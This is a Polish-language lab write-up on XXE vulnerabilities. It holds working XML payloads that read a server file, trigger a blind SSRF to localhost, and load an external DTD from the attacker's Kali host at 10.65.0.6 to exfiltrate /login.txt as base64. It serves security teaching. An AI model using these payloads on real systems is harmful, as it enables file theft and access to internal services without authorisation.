Security Misconfiguration

XML External Entity (XXE)

XXE (XML External Entity) to podatność, która występuje, gdy aplikacja przetwarza dane w formacie XML i dopuszcza definicję tzw. zewnętrznych encji. Atakujący może w takim przypadku przesłać specjalnie spreparowany dokument XML zawierający odwołanie do zewnętrznego zasobu, np. pliku systemowego lub adresu URL.

Konsekwęcje ataku:

  • ujawnienia poufnych danych z serwera (np. plików konfiguracyjnych lub kluczy),
  • wysyłania danych poza organizację (np. do serwera atakującego),
  • dostępu do usług wewnętrznych (atak typu SSRF),
  • lub nawet zablokowania działania aplikacji poprzez przeciążenie parsera (atak DoS).

Jak się zabezpieczyć?

  • wyłączyć przetwarzanie zewnętrznych encji w parserach XML,
  • nie używać niebezpiecznych funkcji XML, takich jak DTD,
  • walidować dane wejściowe, szczególnie gdy aplikacja przyjmuje pliki XML,
  • oraz stosować aktualne i bezpieczne biblioteki do parsowania XML.

Przykłady testów

  1. Odczyt pliku z serwera za pomocą ataku XXE
    Zadanie: Uzyskanie dostępu do pliku znajdującego się na serwerze poprzez wykorzystanie podatności XXE
    Szczegółowy opis: Wprowadzić do formularza XML z deklaracją zewnętrznej encji, która wskazuje lokalny plik serwera. Następnie przesłać formularz, aby aplikacja przetworzyła dokument XML i wstawiła zawartość pliku do znacznika "heading". Odczytać odpowiedź aplikacji i uzyskać w ten sposób poufne dane z systemu plików serwera.
    Target: [Target_IP]
    Nazwa pliku do pozyskania clientData.txt
    Strona [Target_IP] zawiera formularz, który przyjmuje dane w formacie XML — np. dane z formularza kontaktowego lub dokumentu. W tym przypadku użyto parsera XML (czyli programu, który odczytuje strukturę XML i ją interpretuje).

    XML Payload

     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE test [<!ENTITY xxe SYSTEM "/clientData.txt"> ]>
     <note>
     <to>Test1</to>
     <from>Test2</from>
     <heading>&xxe;</heading>
     <body>Test2</body>
     </note> 
    
    • Name
      <!DOCTYPE test [...]>
      Type
      definiuje encję xxe jako odwołanie do pliku /clientData.txt
      Description
    • Name
      <heading>&xxe;</heading>
      Type
      Najwaniejsze! W tym miejscu zostanie wstawiona zawartość tego pliku
      Description
    • Name
      pozostałe tagi (<to>, <from>, <body>)
      Type
      są tylko wypełniaczami — ich wartości nie wpływają na atak
      Description
    • Parser, przetwarzając XML, zamieni &xxe; na treść pliku /clientData.txt, ponieważ tak zadeklarowałeś. Dzięki temu zawartość pliku pojawi się w odpowiedzi serwera w miejscu .... Większość parserów XML oczekuje, że otrzyma poprawny i kompletny dokument XML, z jednym głównym (root) tagiem, zawierającym dane. Tutaj note to główny element, a to, from, heading, body to jego pod-elementy. Gdyby tego nie było, dokument XML byłby niepoprawny — parser by go odrzucił. UWAGA: W ataku XXE powinieneś po kolei testować, który znacznik "body, heading ..." w dokumencie XML jest przetwarzany i wyświetlany w odpowiedzi przez aplikację — bo tylko tam warto umieścić &xxe;.

    Rezultat: Jeśli plik istnieje i parser jest podatny, w odpowiedzi zobaczysz coś takiego:

    XML Payload

     <note>
     <to>Test1</to>
     <from>Test2</from>
     <heading>ABC123|John Smith|Sensitive Data</heading>
     <body>Test2</body>
     </note>
    
    parser XML odczytał plik /clientData.txt z systemu plików serwera, zawartość pliku została automatycznie wstawiona w miejsce znacznika "heading", serwer przetworzył cały dokument XML i odesłał go w odpowiedzi, dzięki czemu zawartość pliku była widoczna w przeglądarce użytkownika.


  1. Wykorzystanie podatności XXE do wykonania zapytania SSRF (Blind SSRF)
    Zadanie: Wysłanie zapytania HTTP do lokalnego adresu poprzez zewnętrzną encję w XML
    Szczegółowy opis: Przy użyciu podatnego pola XML na stronie [Target_IP] wprowadzono dokument z encją wskazującą lokalny adres http://127.0.0.1/solve13.2/. Parser XML zinterpretował encję i wykonał żądanie HTTP w imieniu serwera. Pomimo komunikatu „Error!”, serwer wykonał żądanie, a zadanie zostało automatycznie zaliczone. Celem jest zmuszenie serwera, by w Twoim imieniu wysłał żądanie HTTP do innego serwera lub zasobu, do którego Ty nie masz dostępu.
    Target: [Target_IP]
    Rezultat: Mimo wyświetlenia komunikatu „Error!”, żądanie HTTP do http://127.0.0.1/solve13.2/ zostało wykonane po stronie serwera. Zadanie zostało automatycznie zaliczone, ponieważ serwer zinterpretował zewnętrzną encję i wysłał żądanie SSRF do wewnętrznego zasobu. Brak widocznej odpowiedzi jest typowy dla tzw. Blind XXE SSRF — efekt działania następuje po stronie serwera bez potwierdzenia w interfejsie użytkownika.

    XML Payload

     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE pjatk [ <!ENTITY ssrf SYSTEM "http://127.0.0.1/solve13.2/"> ]>
     <note>
     <to>Tove</to>
     <from>Jani</from>
     <heading>&ssrf;</heading>
     <body>Don't forget me this weekend!</body>
     </note>
    
    Ten payload tworzy zewnętrzną encję ssrf, która odwołuje się do lokalnego zasobu serwera. Parser XML interpretuje encję i wstawia zawartość odpowiedzi z 127.0.0.1/solve13.2 do pola "heading". W tym scenariuszu jednak odpowiedź nie jest widoczna — ale żądanie zostaje wykonane. Co zyskujesz?
    • Dostęp do zasobów wewnętrznych (np. API, mikroserwisy, usługi listening tylko na localhost).
    • Możliwość eskalacji ataku, np. przesyłania tokenów, zdalnego wykonania komend (jeśli endpoint pozwala).
    • Baza pod realne ataki w rzeczywistych systemach, np. uzyskanie AWS metadata, panel admina itd.
    • Zaliczenie zadania – bo system zadaniowy tylko sprawdza, czy request trafił pod solve13.2, nie czy go widzisz.


  1. Exfiltracja pliku z serwera (Blind XXE)
    Zadanie: Odczytanie pliku z systemu plików serwera i przesłanie jego zawartości na serwer Kali.
    Cel: Odczyt i exfiltracja poufnego pliku z serwera przy pomocy podatności typu Blind XXE, z wykorzystaniem zewnętrznego pliku DTD oraz mechanizmu php://filter.
    Szczegółowy opis: Udostępniony formularz XML na stronie [Target_IP] zawiera podatność typu Blind XXE. Należy przygotować plik xxe.dtd na serwerze Kali, w którym zdefiniowana jest encja %file odczytująca zawartość pliku /login.txt z użyciem filtru php://filter/convert.base64-encode, a także encja %eval, która tworzy żądanie HTTP przesyłające zakodowaną zawartość pliku do serwera Kali. Po przesłaniu odpowiednio przygotowanego dokumentu XML, podatny parser XML przetwarza deklaracje DTD i wykonuje żądanie HTTP, przesyłając zawartość pliku do atakującego.
    Target: [Target_IP]
    Nazwa pliku do pozyskania /login.txt

    Kroki

    1: Utwórz plik xxe.dtd z payloadem DTD (base64 + exfiltracja).

    nano xxe.dtd
    
      php://filter/convert.base64-encode/resource= powoduje, że zawartość pliku zostaje zakodowana w base64, ponieważ wykorzystuje wbudowany mechanizm strumieniowy PHP, który przed odczytaniem pliku nakłada filtr convert.base64-encode, automatycznie przekształcając dane binarne lub tekstowe na bezpieczny tekstowy format base64 — umożliwiający ich dalsze przesłanie przez protokoły tekstowe, takie jak HTTP.

    3: Uruchom prosty serwer HTTP w tym samym katalogu, gdzie masz xxe.dtd

    python3 -m http.server 80
    
      To umożliwi, aby parser XML z podatnej aplikacji mógł pobrać plik xxe.dtd z Twojego komputera Kali.

    Krok 4: Skonstruuj i wprowadź payload XML na stronie: [target_IP]
    10.65.0.6 to adres Twojej maszyny Kali — zamień go, jeśli Twój adres IP jest inny (możesz sprawdzić ip a).

    XML Payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE xxe [<!ENTITY % xxe SYSTEM "http://10.65.0.6/xxe.dtd"> %xxe;]>
    <note>
    <to>test2</to>
    <from>test3</from>
    <heading>test4</heading>
    <body>test test</body>
    </note> 
    

    Krok 5: Obserwuj ruch na Kali

    Rzeczywisty rezultat

    W konsoli, gdzie uruchomiłeś http.server, powinieneś zobaczyć zapytanie typu GET o xxe.dtd wygladające tak: "base64_zawartosc_pliku". Na koniec odszyfruj zawartość (base64 → plaintext)
    SCREEN: xxs1-scr1



References